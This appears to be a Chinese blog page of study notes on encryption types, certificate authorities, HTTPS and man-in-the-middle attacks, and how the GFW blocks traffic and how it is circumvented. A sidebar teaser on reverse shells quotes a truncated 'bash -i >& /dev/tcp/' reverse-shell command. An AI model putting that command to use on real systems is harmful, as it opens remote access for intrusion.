Section1:加密

加密算法分为:对称加密算法、非对称加密算法、Hash

1.1对称加密算法

  加密解密使用相同的密钥

  eg:DES,AES,RC4,RC5,Triple DES

  缺点:1、因为加密解密密钥相同,key很容易泄露

     2、多个人互相通信,则需要很多不同的key,管理麻烦

1.2非对称加密算法(公/私钥加密)

  加密解密使用不同的key

  eg:RSA

  每个user有属于自己的一个公钥(记为E)一个私钥(记为D)。E公开,D不公开。通信过程如下:

  

1.3Hash

  单向,加密后无法解密

  eg:MD5、SHA

Section2:CA、数字签名

证书发行机构(Certificate Authority)-->数字证书(Digital Certificate)

根证书(Root Certificate):根证书信任它的子树下的所有证书。常用的根证书都会集成在系统中。

判断一个CA是可靠的:该CA被某个根证书信任

数字签名:保证文件没有被篡改过

eg:PGP/GPG

Section3:HTTP、HTTPS

SSL/TLS的原理:

中间人攻击:中间人在传输过程中截获K、E,造成数据被泄露

solution:服务器/客户端身份认证(CA)

HTTP:明文

HTTPS:加密(HTTP+SSL/TLS)

浏览器会验证站点的CA

  1.证书被本机某个根证书信任

  2.证书上绑定的域名与站点一致

  3.证书没过期

Section4:GFW

GFW的封锁方式:

  1.DNS污染(ISP/China国际流量出口处)

  2.IP封锁

  3.关键字屏蔽(探测到指定关键字后封锁)

对抗:

  1.Proxy(HTTPS)

  2.VPN

  3.TOR(加密的多中继代理)

Ref:

http://wiki.keso.cn/Home/across-the-gfw-s-technology-and-control-method

https://program-think.blogspot.com/2014/11/https-ssl-tls-0.html#index
https://program-think.blogspot.com/2010/02/introduce-digital-certificate-and-ca.html
http://www.cnblogs.com/MikeChen/archive/2011/04/22/2024574.html

[信安presentation]Fight against GFW的更多相关文章

  1. [信安Presentation]一种基于GPU并行计算的MD5密码解密方法

    -------------------paper--------------------- 一种基于GPU并行计算的MD5密码解密方法 0.abstract1.md5算法概述2.md5安全性分析3.基 ...

  2. 信安实验-RC4加密算法

    RC4加密算法 算法具体就不介绍了,应信安老师要求整理及掌握. #include<bits/stdc++.h> using namespace std; const int N=256; ...

  3. 1284-Primitive Roots,学信安的路过

                                                      Primitive Roots 此题通过率如此之高,料想不会很难,但是再简单小菜还是不会.. 嗯,下 ...

  4. 信安周报-第02周:SQL基础

    信安之路 第02周 Code:https://github.com/lotapp/BaseCode/tree/master/safe 前言 本周需要自行研究学习的任务贴一下: 1.概念(推荐) 数据库 ...

  5. 信安周报-第04周:系统函数与UDF

    信安之路 第04周 前言 这周自主研究的任务如下: 附录解释: SQLi的时候应对各种限制,可以使用数据库自带的系统函数来进行一系列变换绕过验证 eg:字符串转换函数.截取字符串长度函数等 注入的时候 ...

  6. 信安周报-第03周:DB系统表

    信安之路 第03周 前言 这周自主研究的任务如下: 任务附录的解释: 文件读写在通过数据库注入漏洞获取webshell的时候很有用 系统库和表存放了很多关键信息,在利用注入漏洞获取更多信息和权限的过程 ...

  7. 第一届“信安杯”部分WriteUp

    第一届"信安杯"部分WriteUp------OooooohLeeGay队! 小队成员(按姓氏):郭泽坤.李江川.赵乐祺 以下这部分是做出来的 2019.11.23-24 ++Re ...

  8. #033 信安培训基础题Python解决网络安全实验室|网络信息安全攻防学习平台

    第三题猜猜这是经过了多少次加密?分值: 200 加密后的字符串为:一大串 字符串最后面是= 所以是base64.b64decode编码究竟为啥有=就是base64咱也不知道 咱也不敢问咋解密也是从网上 ...

  9. 信安实践——CSRF攻击与防御

    1.实验原理 CSRF(Cross-Site Request Forgery,跨站点伪造请求)是一种网络攻击方式,该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在未授权的 ...

随机推荐

  1. 你知道JavaScript中的结果值是什么吗?

    你知道JavaScript中的每条语句.甚至表达式都有一个结果值吗? 当你在浏览器中测试代码时,经常会在控制台的输出结果的最后面多出一条,大部分为undefined,这个undefined就是一个结果 ...

  2. Linux下反弹shell的种种方式

    [前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...

  3. SVN使用_获取某版本后改动的文件列表

    本章将讲解如何通过svn命令获取某版本后改动的所有文件 一键操作,告别svn log的繁杂对比工作. 1:安装SVN命令行工具Subversion(不是TortoiseSVN) 下载Subversio ...

  4. MySql索引总结

    索引概念 B+树索引分为聚集索引和非聚集索引(辅助索引),但是两者的数据结构都和B+树一样,区别是存放的内容. 可以说数据库必须有索引,没有索引则检索过程变成了顺序查找,O(n)的时间复杂度几乎是不能 ...

  5. 自定义制作iso镜像

    下载"/etc/yum.repos.d/"下的MondoRescue软件库,文件名为"mondorescue.repo".请为你的Linux OS发行版本下载正 ...

  6. Prometheus 系统监控方案 二 安装与配置

    下载Prometheus 下载最新安装包,本文说的都是在Linux x64下面内容,其它平台没尝试过,请选择合适的下载. Prometheus 主程序,主要是负责存储.抓取.聚合.查询方面. Aler ...

  7. linux输入子系统(input subsystem)之evdev.c事件处理过程

    1.代码 input_subsys.drv.c 在linux输入子系统(input subsystem)之按键输入和LED控制的基础上有小改动,input_subsys_test.c不变. input ...

  8. WPF 自定义的窗口拖动

    WPF原有的窗口样式太丑,当我们重新定义窗口时,则需要添加一些额外的功能,如拖动~ 1.在界面上对布局元素如Grid,添加委托事件: MouseLeftButtonDown="UIEleme ...

  9. linux hosts文件详+mac主机名被莫名其妙修改

    1.名词解析 主机名: 无论是在局域网还是在INTERNET上,每台主机都有一个IP地址,用来区分当前是那一台机器(其实底层是使用机器的物理地址),也就是说IP地址就是一个主机的门牌号,唯一的标示这一 ...

  10. 简单轮播js实现

    <!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8" ...